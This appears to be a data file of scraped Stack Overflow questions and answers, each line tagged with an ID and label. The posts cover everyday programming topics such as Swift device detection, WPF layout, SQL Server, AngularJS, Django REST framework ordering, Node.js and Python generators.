37215952	0	iPad Retina model recognition with swift <p>I'm trying to recognise if the iPad Retina has my app and then change something in my code. Until now i have this model map from the internet and also i have found fro iPad Pro.</p> <pre><code>public enum Model : String { case simulator = "simulator/sandbox", iPod1 = "iPod 1", iPod2 = "iPod 2", iPod3 = "iPod 3", iPod4 = "iPod 4", iPod5 = "iPod 5", iPad2 = "iPad 2", iPad3 = "iPad 3", iPad4 = "iPad 4", iPhone4 = "iPhone 4", iPhone4S = "iPhone 4S", iPhone5 = "iPhone 5", iPhone5S = "iPhone 5S", iPhone5C = "iPhone 5C", iPadMini1 = "iPad Mini 1", iPadMini2 = "iPad Mini 2", iPadMini3 = "iPad Mini 3", iPadAir1 = "iPad Air 1", iPadAir2 = "iPad Air 2", iPhone6 = "iPhone 6", iPhone6plus = "iPhone 6 Plus", iPhone6S = "iPhone 6S", iPhone6Splus = "iPhone 6S Plus", iPadPro = "iPad Pro", iPadRetina = "iPad Retina", unrecognized = "?unrecognized?" } public extension UIDevice { public var type: Model { var systemInfo = utsname() uname(&amp;systemInfo) let modelCode = withUnsafeMutablePointer(&amp;systemInfo.machine) { ptr in String.fromCString(UnsafePointer&lt;CChar&gt;(ptr)) } var modelMap : [ String : Model ] = [ "i386" : .simulator, "x86_64" : .simulator, "iPod1,1" : .iPod1, "iPod2,1" : .iPod2, "iPod3,1" : .iPod3, "iPod4,1" : .iPod4, "iPod5,1" : .iPod5, "iPad2,1" : .iPad2, "iPad2,2" : .iPad2, "iPad2,3" : .iPad2, "iPad2,4" : .iPad2, "iPad2,5" : .iPadMini1, "iPad2,6" : .iPadMini1, "iPad2,7" : .iPadMini1, "iPhone3,1" : .iPhone4, "iPhone3,2" : .iPhone4, "iPhone3,3" : .iPhone4, "iPhone4,1" : .iPhone4S, "iPhone5,1" : .iPhone5, "iPhone5,2" : .iPhone5, "iPhone5,3" : .iPhone5C, "iPhone5,4" : .iPhone5C, "iPad3,1" : .iPad3, "iPad3,2" : .iPad3, "iPad3,3" : .iPad3, "iPad3,4" : .iPad4, "iPad3,5" : .iPad4, "iPad3,6" : .iPad4, "iPhone6,1" : .iPhone5S, "iPhone6,2" : .iPhone5S, "iPad4,1" : .iPadAir1, "iPad4,2" : .iPadAir2, "iPad4,4" : .iPadMini2, "iPad4,5" : .iPadMini2, "iPad4,6" : .iPadMini2, "iPad4,7" : .iPadMini3, "iPad4,8" : .iPadMini3, "iPad4,9" : .iPadMini3, "iPhone7,1" : .iPhone6plus, "iPhone7,2" : .iPhone6, "iPhone8,1" : .iPhone6S, "iPhone8,2" : .iPhone6Splus, "iPad6,3" : .iPadPro, "iPad6,4" : .iPadPro, "iPad6,7" : .iPadPro, "iPad6,8" : .iPadPro ] if let model = modelMap[String.fromCString(modelCode!)!] { return model } return Model.unrecognized } } </code></pre> <p>And i check out the model that the user has with this simple case switch code</p> <pre><code> switch UIDevice().type { case .iPhone4S: print("iphone4s") case .iPhone5: print("iphone5") case .iPadAir2: print("mos def im an ipad air 2") case .iPadPro: print("am i an ipad Pro?") default: print("i'm a pretty little simulator") } </code></pre> <p>So my questions are these First of all, because i dont have an ipad Pro, is the code correct? And lastly, what should i do so i can recognise also the ipad Retina ???</p> <p>Thanks a lot!</p>
19135152	0	 <p>Try to use <code>Grid</code> with <code>IsSharedSizeScope</code>, instead of <code>StackPanel</code>, like below:</p> <pre><code>&lt;Grid Grid.IsSharedSizeScope="true" HorizontalAlignment="Center"&gt; &lt;Grid.ColumnDefinitions&gt; &lt;ColumnDefinition SharedSizeGroup="buttons"/&gt; &lt;ColumnDefinition SharedSizeGroup="buttons"/&gt; &lt;ColumnDefinition SharedSizeGroup="buttons"/&gt; &lt;ColumnDefinition SharedSizeGroup="buttons"/&gt; &lt;ColumnDefinition SharedSizeGroup="buttons"/&gt; &lt;/Grid.ColumnDefinitions&gt; &lt;Button x:Name="PreviousPage" Content="Previous" Grid.Column="0"/&gt; &lt;Button x:Name="Info" Content="Information" Grid.Column="1"/&gt; &lt;Button x:Name="InetTicket" Content="Internet ticket" Grid.Column="2"/&gt; &lt;Button x:Name="FindStation" Content="Find station" Grid.Column="3"/&gt; &lt;Button x:Name="NextPage" Content="Next" Grid.Column="4"/&gt; &lt;/Grid&gt; </code></pre>
18531911	0	 <pre><code>use HTML::TreeBuilder; my $t = HTML::TreeBuilder-&gt;new-&gt;parse_file("China.data"); sub list {my ($t, $d) = @_; $d //= 0; if (ref($t)) {say " "x$d, $t-&gt;tag; for($t-&gt;content_list) {list($_, $d+1); } } else {say " "x$d, dump($t)} } </code></pre> <p>list($t);</p>
7255263	0	 <p>Marshaling is almost the same as serialization. The difference (in Java context) is in remote object handling, as specified in <a href="http://tools.ietf.org/html/rfc2713" rel="nofollow">rfc2713</a>. </p> <p>As for hash code value: it depends on how the object calculates its hash code. If it's calculated from the fields only, then it obviously is same as the unmarshaled object is <em>equal</em> to the original one. But if it uses <code>Object</code>'s original <code>hashCode</code>, then it's whatever the JVM happens to give to that object, and will vary from instance to instance.</p>
28567484	0	Does stopping query with a rollback guarantee a rollback <p>Say I have a query like this:</p> <pre><code>BEGIN Transaction UPDATE Person SET Field=1 Rollback </code></pre> <p>There are one hundred million people. I stopped the query after twenty minutes. Will SQL Server rollback the records updated?</p>
8057866	0	 <p>In C arrays are constants, you can't change their value (that is, their address) at all, and you can't resize them.</p>
18181567	0	 <p>This error is commonly because of a DLL version mismatch. Try deleting your <code>bin</code> folder and rebuilding the application.</p>
31994313	0	Multi-Part Identifier - Namespace Issue I believe <pre><code>USE VISION_DB SELECT tpi.ProfileName, tic.ChannelName FROM T_PROFILE_INFO tpi, T_INPUT_CHANNEL_INFO tic, T_PROFILE_CHANNELS INNER JOIN T_PROFILE_CHANNELS tpc ON tpc.ProfileID = ***T_PROFILE_INFO.ProfileID*** AND tpc.ChannelID = ***T_INPUT_CHANNEL_INFO.ChannelID*** </code></pre> <p>I am able to return the multi-part identifier alert for each of the two entries highlighted.</p> <p>The alias <code>tpc</code> is referenced correctly, but the right side of each expression will not. I have substituted the alias' from the <code>FROM</code> clause, but they are out of scope here.</p> <p>I have been trying to sort this for some time. I believe there is a namespace issue, but do not know how to reference the changes required.</p> <p>I run across this issue regularly, but have always been able to resolve it with a search. I can find nothing that appears to clear this up.</p>
5393900	0	 <p>I would add that LTE implementation of TPT inheritance is nothing short of criminal. See my question <a href="http://stackoverflow.com/questions/4126668/when-quering-over-a-base-type-why-does-the-ef-provider-generate-all-those-union-a">here</a>.</p> <p>And while I'm at it, I believe that the many <a href="http://www.amazon.com/s/ref=nb_sb_noss?url=search-alias=aps&amp;field-keywords=entity+framework+in+books&amp;x=0&amp;y=0" rel="nofollow">published EF pundits</a> are at least in part complicit. I have yet to find any published material on EF that cautions against queries of base types. If I were to try it on the model that I have, SQL Server simply gives up with the exception.</p> <blockquote> <p>Some part of your SQL statement is nested too deeply. Rewrite the query or break it up into smaller queries.</p> </blockquote> <p>I would love to rewrite the query, but LTE as absolved me of that burden. Thanks (^not)</p>
15107414	0	 <p>It's a lambda. It replaces the integers <code>c</code> in the container <code>ln</code> with <code>0</code> if <code>c == '\n'</code> or <code>c == ' '</code>. Since the container seems to hold characters, you can basically say it replaces spaces and newlines with null-terminating characters.</p>
26823044	0	Distributable java files only work in dev machine <p>I created a Java application in NetBeans. That Java application contains a GUI and some external Jars.</p> <p>In the dist folder I can see a Jar file and a folder called lib where are the jars I use in the project. If I execute the Jar file the application works as expected. If I change the name of the lib folder the application does not work (meaning that the Jar is using the correct files). But when I copy the dist folder to a different machine (with the same Java version) the application does not work as expected. The user interface is shown but the functionalities does not work (the functionalities are in the external Jars i mentioned in the beginning). Can anyone help?</p> <p>EDIT:</p> <p>I checked the class-path in the MANIFEST file and everything is ok.</p>
19931631	0	 <blockquote> <p>Are these calls equal in terms of performance?</p> </blockquote> <p>In C++11 with the new move semantics, the performance is about the same. If you are using your own classes, make sure they implement a move constructor and a move assignment operator.</p> <blockquote> <p>In the case of storing a vector of B objects in type A, would it be more efficient to pass a nameless object of type B, store them in the vector, and return pointers to the vector elements, or to create an object of type B, and pass a pointer to storage.add() and store my objects of type B in a vector of pointers?</p> </blockquote> <p>If you're refering to STL vectors, the best performance will be achieved with anonym objects, because otherwise, your object will be copied, as STL stores values, not references.</p> <p>The rule of thumb for returning objects from a collection is to return them by <em>reference</em>. That's the pattern followed by STL <a href="http://www.cplusplus.com/reference/vector/vector/at/" rel="nofollow">vector</a></p> <p>When you store pointers instead of values, you are changing the ownership of memory to the client of the vector class, because, normally, who creates an object should be responsible for deallocating it too.</p>
38485256	0	 <p>You can add a comma-delimited list of selectors:</p> <pre><code>$('#editable-detail, #editable-detail2').editableTableWidget(); </code></pre>
30448081	0	Angular radio buttons are not checked correctly <p>I have two radio buttons, and they should be checked depending on some condition.</p> <pre><code>&lt;input data-ng-checked="user.contract1 || user.contract2" data-ng-model="user.agreed" type="radio" data-ng-value="true"&gt; Yes &lt;input data-ng-checked="!user.contract1 &amp;&amp; !user.contract2" data-ng-model="user.agreed" type="radio" data-ng-value="false"&gt; No </code></pre> <p>So here, we have a model <code>user.agreed</code> which holds true/false depending on whether that user has agreed:</p> <ul> <li><p>If the user has agreed to either contract, then <code>user.agreed = true</code></p></li> <li><p>If the user has not agreed to either contract, then <code>user.agreed = false</code></p></li> </ul> <p>I have noticed that when I load the page, the radio button is sometimes selected on 'No' instead of 'Yes'. I think this has to do with the digest cycle completing before my data has loaded from the server.</p> <p>But I thought doing this would be two-way binding, so if the <code>user</code> model changes, the view will change. When data gets loaded from the server, the model gets updated with the new info, and so the view should reflect this change. </p> <p>But that's not happening. How can I force <code>ng-checked</code> to reflect my model changes?</p> <p><strong>EDIT</strong> controller code:</p> <pre><code>app.controller('TestCtrl', ["QueryService", function(QueryService) { $scope.user = { contract1 = false; contactt2 = false; }; QueryService.getUser().success(function(user) { $scope.user = user; }); }); </code></pre>
35826555	0	DataGridRow in DataGrid MVVM <p>How can I change row color in my DataGrid using MVVM?</p> <pre><code>&lt;DataGrid x:Name="dataGrid" AutoGenerateColumns="False" SelectedIndex="{Binding SelectedIndex, Mode=TwoWay}" SelectedItem="{Binding SelectedAction, Mode=TwoWay, UpdateSourceTrigger=PropertyChanged}" ItemsSource="{Binding students1}"&gt; </code></pre> <p>and I have property as</p> <pre><code> public Model.Student SelectedAction { get; set; } public int SelectedIndex { get; set; } </code></pre> <p>How change DataGrid Row Color for selected item?</p>
10941584	0	 <p>Does it have to be interface? Maybe abstract class will be better.</p> <pre><code>public abstract class Square { public int getSize() { return getWidth() * getHeight(); } //no body in abstract methods public abstract int getHeight(); public abstract int getWidth(); } public class Square1 extends Square { public int getHeight() { return 1; } public int getWidth() { return 1; } } </code></pre>
6017361	0	 <p>I think when you load the page you should subtract the offerClosing time - Datetime.Now. Then you need to use javascript to subtract every second. This is similar to what Ebay does when an auction is nearing close. As far as the actual javascript I dont know offhand but I think you could google that</p>
11904934	0	How to change images directory to my resource file <p>I am new to cocos2d and I am trying to learn how to change my images directory to resource file inside my project rather than my desktop. The images only show up if the images are on the desktop instead of inside resource file of my game project. Any help will be appreciated. The error is something like this 012-08-10 15:30:55.884 again[9753:1be03] cocos2d: Couldn't add image:soundoff.png in CCTextureCache</p>
28149097	0	Determinate finish loading website in webView with Swift in Xcode <p>i'm trying to create a webapp with swift in xcode, this is my current code:</p> <pre><code>IBOutlet var webView: UIWebView! var theBool: Bool = false var myTimer = NSTimer() @IBOutlet var progressBar: UIProgressView! override func viewDidLoad() { super.viewDidLoad() let url = NSURL(string: "http://stackoverflow.com") let request = NSURLRequest(URL: url) webView.loadRequest(request) } </code></pre> <p>I've a question, How i can determinate the finish loading of the page in webView?</p> <p>Do you know a documentation that contains all the definitions of the WebView? I mean .. (start / end load, the current url, title page, etc ..)?</p> <p>(Sorry for my English).</p>
7112197	0	 <p>It looks like <a href="http://pypi.python.org/pypi/stdeb" rel="nofollow">stdeb</a> will do what you want.</p> <p>Also, for installing scripts, I strongly recommend <a href="http://pythonhosted.org/setuptools/setuptools.html#automatic-script-creation" rel="nofollow">distribute's console_scripts</a> entry point support.</p>
32712587	0	 <p>So, you are hitting tomcat hot-redeploy <code>ClassLoader</code> issues.</p> <p>There are two things you should do:</p> <ol> <li><p>Make sure that when your application is shutdown, your Hibernate <code>SessionFactory</code> gets <code>close()</code>ed as well. The best place to do this is a <code>ServletContextListener</code>. Otherwise, on hot redeploy, c3p0 Threads from a now-discarded app will continue to be running. See <a href="http://docs.jboss.org/hibernate/orm/5.0/javadocs/org/hibernate/SessionFactory.html#close--" rel="nofollow">SessionFactory.close()</a></p></li> <li><p>Try the settings described <a href="http://www.mchange.com/projects/c3p0/#tomcat-specific" rel="nofollow">here</a> to prevent stray references to objects from a defunct <code>ClassLoader</code>. You can just add</p></li> </ol> <hr> <pre><code>&lt;property name="hibernate.c3p0.privilegeSpawnedThreads"&gt;true&lt;/property&gt; &lt;property name="hibernate.c3p0.contextClassLoaderSource"&gt;library&lt;/property&gt; </code></pre> <hr> <p>to your c3p0 config section.</p> <p>(p.s. Be sure you are using a recent version of c3p0. These settings are new-ish.)</p>
3685705	0	 <p>Given that both identified lines contain calls to methods of 'issue' and, as everyone else has already pointed out, there are no obvious leaks within your posted code, it stands to reason there may be something wrong with those two methods since your code assumes that they either don't return objects with a reference you have to release.</p>
4084534	0	Error: overloaded function with no contextual type information - SetWindowLong() <p><a href="http://friendpaste.com/2FgBfMlNYM3IfBDuNol9i1" rel="nofollow">http://friendpaste.com/2FgBfMlNYM3IfBDuNol9i1</a></p> <p>I get the error on line 62. The enumCW callback function simply sets the lvmHwnd variable. The dll is injected into the processes that i'm trying to subclass.</p> <p>Any help on this error is appreciated.</p>
13888883	0	Would these lines of code affect each other? <p>I am listening/watching the tutorial on Paul Hegarty from the App Store. In his lesson he states that you should ALWAYS synthesize your properties on the implementation file like so:</p> <pre><code>@sysnthesize example = _example; </code></pre> <p>I am also doing a apple documentation tutorial that does not synthesize properties. It also has init methods like so:</p> <pre><code>- (id)initWithName:(NSString *)name location:(NSString *)location date:(NSDate *)date { self = [super init]; if (self) { _name = name; _location = location; _date = date; return self; } return nil; } @end </code></pre> <p>Will these to interact, cancel or otherwise mess with each other if add them together like so:</p> <pre><code>@implementation BirdSighting @synthesize name = _name; @synthesize location = _location; @synthesize date = _date; - (id)initWithName:(NSString *)name location:(NSString *)location date:(NSDate *)date { self = [super init]; if (self) { _name = name; _location = location; _date = date; return self; } return nil; } @end </code></pre> <p>Thanks for the help. </p>
37264706	0	names of a dataset returns NULL- R version 3.2.4 Revised-Ubuntu 14.04 LTS <p>I have a small issue regarding a dataset I am using. Suppose I have a dataset called <code>mergedData2</code> defined using those command lines from a subset of <code>mergedData</code>: </p> <pre><code>mergedData=rbind(test_set,training_set) lookformean&lt;-grep("mean()",names(mergedData),fixed=TRUE) lookforstd&lt;-grep("std()",names(mergedData),fixed=TRUE) varsofinterests&lt;-sort(c(lookformean,lookforstd)) mergedData2&lt;-mergedData[,c(1:2,varsofinterests)] </code></pre> <p>If I do <code>names(mergedData2)</code>, I get: </p> <pre><code> [1] "volunteer_identifier" "type_of_experiment" [3] "body_acceleration_mean()-X" "body_acceleration_mean()-Y" [5] "body_acceleration_mean()-Z" "body_acceleration_std()-X" </code></pre> <p>(I takes this 6 first names as MWE but I have a vector of 68 names)</p> <p>Now, suppose I want to take the average of each of the measurements per <code>volunteer_identifier</code> and <code>type_of_experiment</code>. For this, I used a combination of <code>split</code> and <code>lapply</code>:</p> <pre><code>mylist&lt;-split(mergedData2,list(mergedData2$volunteer_identifier,mergedData2$type_of_experiment)) average_activities&lt;-lapply(mylist,function(x) colMeans(x)) average_dataset&lt;-t(as.data.frame(average_activities)) </code></pre> <p>As <code>average_activities</code> is a list, I converted it into a data frame and transposed this data frame to keep the same format as <code>mergedData</code> and <code>mergedData2</code>. The problem now is the following: when I call <code>names(average_dataset)</code>, it returns <code>NULL</code> !! But, more strangely, when I do:<code>head(average_dataset)</code> ; it returns : </p> <pre><code> volunteer_identifier type_of_experiment body_acceleration_mean()-X body_acceleration_mean()-Y 1 1 0.2773308 -0.01738382 2 1 0.2764266 -0.01859492 3 1 0.2755675 -0.01717678 4 1 0.2785820 -0.01483995 5 1 0.2778423 -0.01728503 6 1 0.2836589 -0.01689542 </code></pre> <p>This is just a small sample of the output, to say that the names of the variables are there. So why <code>names(average_dataset)</code> returns <code>NULL</code> ?</p> <p>Thanks in advance for your reply, best </p> <p>EDIT: Here is an MWE for mergedData2:</p> <pre><code> volunteer_identifier type_of_experiment body_acceleration_mean()-X body_acceleration_mean()-Y 1 2 5 0.2571778 -0.02328523 2 2 5 0.2860267 -0.01316336 3 2 5 0.2754848 -0.02605042 4 2 5 0.2702982 -0.03261387 5 2 5 0.2748330 -0.02784779 6 2 5 0.2792199 -0.01862040 body_acceleration_mean()-Z body_acceleration_std()-X body_acceleration_std()-Y body_acceleration_std()-Z 1 -0.01465376 -0.9384040 -0.9200908 -0.6676833 2 -0.11908252 -0.9754147 -0.9674579 -0.9449582 3 -0.11815167 -0.9938190 -0.9699255 -0.9627480 4 -0.11752018 -0.9947428 -0.9732676 -0.9670907 5 -0.12952716 -0.9938525 -0.9674455 -0.9782950 6 -0.11390197 -0.9944552 -0.9704169 -0.9653163 gravity_acceleration_mean()-X gravity_acceleration_mean()-Y gravity_acceleration_mean()-Z 1 0.9364893 -0.2827192 0.1152882 2 0.9274036 -0.2892151 0.1525683 3 0.9299150 -0.2875128 0.1460856 4 0.9288814 -0.2933958 0.1429259 5 0.9265997 -0.3029609 0.1383067 6 0.9256632 -0.3089397 0.1305608 gravity_acceleration_std()-X gravity_acceleration_std()-Y gravity_acceleration_std()-Z 1 -0.9254273 -0.9370141 -0.5642884 2 -0.9890571 -0.9838872 -0.9647811 3 -0.9959365 -0.9882505 -0.9815796 4 -0.9931392 -0.9704192 -0.9915917 5 -0.9955746 -0.9709604 -0.9680853 6 -0.9988423 -0.9907387 -0.9712319 </code></pre> <p>My duty is to get this average_dataset (which is a dataset which contains the average value for each physical quantity (column 3 and onwards) for each volunteer and type of experiment (e.g 1 1 mean1 mean2 mean3...mean68 2 1 mean1 mean2 mean3...mean68, etc)</p> <p>After this I will have to export it as a txt file (so I think using write.table with row.names=F, and col.names=T). Note that for now, if I do this and import the dataset generated using read.table, I don't recover the names of the columns of the dataset; even while specifying col.names=T.</p>
17427852	0	 <p>When $asp is an array like this:</p> <pre><code>[0] =&gt; 1 [1] =&gt; 2 [2] =&gt; 3 </code></pre> <p>You can get the values by doing</p> <pre><code>foreach($asp as $key =&gt; $value){ echo $value; } </code></pre> <p>Since you are a lazy programmer, this is wat you can do: You want to insert $asp and $asp2 into your database if I get the question right.</p> <pre><code>$new_array = array_combine($asp,$asp2); foreach($new_array as $key =&gt; $value){ $sql = "INSERT INTO dea (did,c1, c2, timestamp) VALUES ('',$key, $value,'".date("Y-m-d H:i:s")."')"; $stmt = mysql_query($sql) or die(mysql_error()); } </code></pre> <p>And by the way, like Doon said: Your if statements doesn't make any sense.</p> <pre><code>if ($tube11==$tube11 &amp;&amp; $fan1==$fan1 &amp;&amp; $bulb1==$bulb1) </code></pre> <p>This will always be true.</p>
34420330	0	 <p>Use this method as per notes here <a href="http://quickblox.com/developers/Android#How_to:_add_SDK_to_IDE_and_connect_to_the_cloud" rel="nofollow">http://quickblox.com/developers/Android#How_to:_add_SDK_to_IDE_and_connect_to_the_cloud</a></p> <p><strong>Note</strong> there is no "User" field for this create session method</p> <p>QBAuth.createSession(new QBEntityCallbackImpl() {}</p>
28341976	0	Node js functions : sql query result call twice <p>I've got a problem with javascript/node js functions.</p> <p>When I send an sql query with function query of "request.service.mssql" object, the result function is called twice...</p> <p>I don't understand because my sql query is an "update" and the result is empty (I do not have multiple lines of results)</p> <p>For example, I have a function that send an email with a new password. The email is sent twice... I found a temp solution with an index but it's not very clean.</p> <p><strong>Can you explain this ?</strong></p> <pre><code>//construct SQL query var email = "test@toto.com"; var password = require("crypto").randomBytes(4).toString('hex'); var password_md5 = require("crypto").createHash("md5").update(password).digest("hex"); var sql = "update dbo.mytable SET password='"+password_md5+"' where id=12"; var id = 0; //temp solution mssql.query(sql, { success: function(results) { //Send email with new pwd if(id == 0) { response.send(statusCodes.OK,password_md5); sendEmail(email,password); } id++; //temp solution }, error: function(err) { response.send(statusCodes.INTERNAL_SERVER_ERROR,"Error : " + err); } }); </code></pre> <p>Thank you :-)</p> <p>Steve</p>
20957067	0	 <p>If you look at the <a href="https://www.relishapp.com/rspec/rspec-rails/v/2-14/docs/controller-specs/render-views" rel="nofollow">relish documentation for the current 2.14 version of Rspec</a> you'll see that they're using <code>match</code> now instead:</p> <pre><code>expect(response.body).to match /Listing widgets/m </code></pre> <p>Using the <code>should</code> syntax, this should work:</p> <pre><code>response.body.should match(/Welcome to the home page/) </code></pre>
7174732	0	 <p>Please show us some code. My best guess is that you called <em>gl{Push,Pop}Matrix</em> and or <em>glEnable</em> within a <em>glBegin…glEnd</em> block, where those are not allowed.</p>
36968531	0	Split website page on two parts with diagonal line <p>I'm building a website and my home page(index) needs to be splitted on two parts. Left(white) and Right(blue). So both sides needs to be links and to have hover effect. For example, when I hover on right side it should be a little bit extended.</p> <p>So my question is: How can I split page on two parts with diagonal line and made them links?</p> <p><img src="https://i.stack.imgur.com/IgqAu.jpg" alt="Wireframe Image"></p>
31159016	0	How to efficiently calculate cotangents from vectors <p>I'm trying to implement a function to compute the cotangents of vectors (the mathematical ones) via the standard formula:</p> <blockquote> <p>cot(<strong>a</strong>, <strong>b</strong>) = (<strong>a</strong> * <strong>b</strong>) / |<strong>a</strong> x <strong>b</strong>|, where <strong>a</strong> and <strong>b</strong> are vectors</p> </blockquote> <p>A colleague told me that calculating <code>1/|a x b|</code> is not the best thing to give a computer to calculate. Another alternative coming to my head is first calculating the angle and than using cotan functions for radians angles.</p> <p>What would be the method of choice here? (Is there maybe another one, other than the mentioned ones)</p>
32726689	0	 <p>I'd set up a message listener in B, and send a message from A. You'll need to attach to a window or compatible object, in B.js:</p> <pre><code> window.addEventListener('message', function (event) { try { var data = JSON.parse(event.data); // Do whatever } catch (exception) { // Didn't work } } ); </code></pre> <p>In A.js:</p> <pre><code>// This you could call on some event and provide the parameters function update(uname, pwd, fname, lname, dob, gend) { if (window.opener) { var data = { 'uname':uname, 'pwd':pwd, 'fname':fname, 'lname':lname, 'dob':dob, 'gend':gend }; window.opener.postMessage(JSON.stringify(data), '*'); } } </code></pre> <p>So in this case, the window running a script B.js needs to open another window running A.js.</p>
17037371	0	 <p>In modern browsers you can do this without any external libraries in a few lines:</p> <pre><code>Array.prototype.flatten = function() { return this.reduce(function(prev, cur) { var more = [].concat(cur).some(Array.isArray); return prev.concat(more ? cur.flatten() : cur); },[]); }; console.log([['dog','cat',['chicken', 'bear']],['mouse','horse']].flatten()); //^ ["dog", "cat", "chicken", "bear", "mouse", "horse"] </code></pre>
14864029	0	Sorting algorithm which alternates equal items <p>What would be a good (simple) algorithm/method for this sorting situation:</p> <p>I have an array of items where each item consists of 2 fields: (ID, Timestamp)</p> <p>There are many pairs of items with the same ID's.</p> <p>I want to sort the array such that the items are alternating among ID's as much as possible, starting from the item with the earliest Timestamp.</p> <p>For example, with this input:</p> <p>(1, 15:00)<br> (1, 15:05)<br> (1, 15:10)<br> (2, 15:15)<br> (2, 15:20)<br> (2, 15:25)<br> (3, 15:30)<br> (4, 15:35)<br> (3, 15:40)</p> <p>I would get this output:</p> <p>(1, 15:00)<br> (2, 15:15)<br> (3, 15:30)<br> (4, 15:35)<br> (1, 15:05)<br> (2, 15:20)<br> (3, 15:40)<br> (1, 15:10)<br> (2, 15:25) </p> <p>I'm primarily looking for a algorithm which is conceptually simple, but of course it's nice if it's performant.</p> <p>Right now the best I can think of is something like: </p> <ol> <li>Init/create temporary array T</li> <li>From the array A: Get item X with earliest Timestamp where ID is not in T</li> <li>Add X to result set R, add X.ID to T, pop X from A</li> <li>As long as X exists, repeat step 2-3, otherwise restart at step 1</li> <li>Quit when A is empty</li> </ol>
27078536	0	Convert integer to datetime java <p>I have an integer value with following.How can I convert integer to Datetime?</p> <p>int input DateTime=1 6 25;</p> <p>convert input to output</p> <p>int output DateTime=1:06:25;</p>
30042617	0	 <p>This is not possible using <a href="http://www.django-rest-framework.org/api-guide/filtering/#orderingfilter">the default <code>OrderingFilter</code></a>, because the ordering is implemented <em>on the database side</em>. This is for efficiency reasons, as manually sorting the results can be <em>incredibly</em> slow and means breaking from a standard <code>QuerySet</code>. By keeping everything as a <code>QuerySet</code>, you benefit from the built-in filtering provided by Django REST framework (which generally expects a <code>QuerySet</code>) and the built-in pagination (which can be slow without one).</p> <p>Now, you have two options in these cases: figure out how to retrieve your value on the database side, or try to minimize the performance hit you are going to have to take. Since the latter option is very implementation-specific, I'm going to skip it for now.</p> <p>In this case, you can use <a href="https://docs.djangoproject.com/en/1.8/ref/models/querysets/#id7">the <code>Count</code> function</a> provided by Django to do the count on the database side. This is provided as part of <a href="https://docs.djangoproject.com/en/1.8/topics/db/aggregation/">the aggregation API</a> and works like <a href="https://msdn.microsoft.com/en-us/library/ms175997.aspx">the SQL <code>COUNT</code> function</a>. You can do the equivalent <code>Count</code> call by modifying your <code>queryset</code> on the view to be</p> <pre><code>queryset = Topic.objects.annotate(vote_count=Count('topicvote_set')) </code></pre> <p>Replacing <code>topicvote_set</code> with <a href="https://docs.djangoproject.com/en/1.8/ref/models/fields/#django.db.models.ForeignKey.related_name">your <code>related_name</code> for the field</a> (you have one set, right?). This will allow you to order the results based on the number of votes, and even do filtering (if you want to) because it is available within the query itself.</p> <p>This would require making a slight change to your serializer, so it pulls from the new <code>vote_count</code> property available on objects.</p> <pre><code>class TopicSerializer(serializers.ModelSerializer): vote_count = serializers.IntegerField(read_only=True) class Meta: model = Topic </code></pre> <p>This will override your existing <code>vote_count</code> method, so you may want to rename the variable used when annotating (if you can't replace the old method).</p> <hr> <p>Also, you can pass a method name as the <code>source</code> of a Django REST framework field and it will automatically call it. So technically your current serializer could just be</p> <pre><code>class TopicSerializer(serializers.ModelSerializer): vote_count = serializers.IntegerField(read_only=True) class Meta: model = Topic </code></pre> <p>And it would work <em>exactly</em> like it currently does. Note that <code>read_only</code> is required in this case because a method is not the same as a property, so the value cannot be set.</p>
40333042	0	 <p>Yes, you can send a <code>GET</code> request with no query string. In fact, whenever you hit a webpage using with your browser, you <em>are</em> sending a <code>GET</code> request, e.g. when you type <code>http://google.com</code> in the address bar and hit enter, your browser sends <code>GET</code> request to the URI and google server returns its page.</p> <p>As Mardzis noted in comments, you can use <code>empty()</code> function in your PHP code:</p> <pre><code>&lt;?php if (!empty($_GET['query'])) { $query = $_GET['query']; // Return results for specific query... } else { // Return all results... } </code></pre> <p><strong>EDIT</strong></p> <p>Since you've posted your Javascript code, I noticed something:</p> <pre><code>function showResults(str) { if (str.length == 0) { // If str is empty - isn't this where you want your "empty" query? But you don't } else { // If str is not empty, you send the request. } </code></pre> <p>Seems like if <code>str</code> is empty, you're not sending the request at all. Am I correct?</p>
29277137	0	 <p>This should do:</p> <pre><code>awk -F. '$1!=a &amp;&amp; NR&gt;1 {print ""} 1; {a=$1}' file foo.foo=Some string foo.bar=Some string bar.foo=Some string bar.bar=Some string baz.foo=Some string baz.bar=Some string </code></pre>
10976544	0	 <p>Please checkout my new plugin that displays a specific widget.</p> <p>Visit: <a href="http://wordpress.org/extend/plugins/widget-instance/" rel="nofollow">http://wordpress.org/extend/plugins/widget-instance/</a></p>
5159431	0	Java reverse server communication <p>I have two machines. One machine is a client and the other is a server running JBoss. I have no trouble having the client make requests and the server respond to those requests. However, for a new project that I need to do I have to reverse the roles. I have to implement a push model, so the server will need to make requests from the client. Specifically I need the server to be able to ask the client for files in a directory, copy files from the server to the client, and run programs on the client. I'd like to do this without adding a psedo server on the client (a small daemon process).</p> <p>Is there a good way to do this?</p> <p>Thanks</p> <p>EDIT: So it would appear that I have to set up a server on the client machine to do what I need because I need to have the server push to the client while the client is not running the Java process (but the machine is on). With that in mind, what's the lightest weight Java server?</p>
1968195	0	Delta row compression in PCLXL <p>Is there a difference in the implementation of delta row compression between PCLXL and PCL5?</p> <p>I was using Delta Row compression in PCL5, but when I used the same method in PCLXL, the file is not valid. I checked the output using EscapeE and it says that the image data size is incorrect..</p> <p>Could anyone point me to some material explaining how delta row compression is implemented in PCLXL?</p> <p>Thanks,</p> <p>kreb</p>
21349507	1	How to check python codes by reduction? <pre><code>import numpy def rtpairs(R,T): for i in range(numpy.size(R)): o=0.0 for j in range(T[i]): o +=2*(numpy.pi)/T[i] yield R[i],o R=[0.0,0.1,0.2] T=[1,10,20] for r,t in genpolar.rtpairs(R,T): plot(r*cos(t),r*sin(t),'bo') </code></pre> <p>This program is supposed to be a generator, but I would like to check if i'm doing the right thing by first asking it to return some values for pheta (see below)</p> <pre><code>import numpy as np def rtpairs (R=None,T=None): R = np.array(R) T = np.array(T) for i in range(np.size(R)): pheta = 0.0 for j in range(T[i]): pheta += (2*np.pi)/T[i] return pheta </code></pre> <p>Then I typed import omg as o in the prompt</p> <pre><code>x = [o.rtpairs(R=[0.0,0.1,0.2],T=[1,10,20])] # I tried to collect all values generated by the loops </code></pre> <p>It turns out to give me only one value which is 2 pi ... I have a habit to check my codes in the half way through, Is there any way for me to get a list of angles by using the code above? I don't understand why I must use a generator structure to check (first one) , but I couldn't use normal loop method to check.</p> <p>Normal loop e.g. </p> <pre><code>x=[i for i in range(10)] x=[0,1,2,3,4,5,6,7,8,9] </code></pre> <p>Here I can see a list of values I should get. </p>
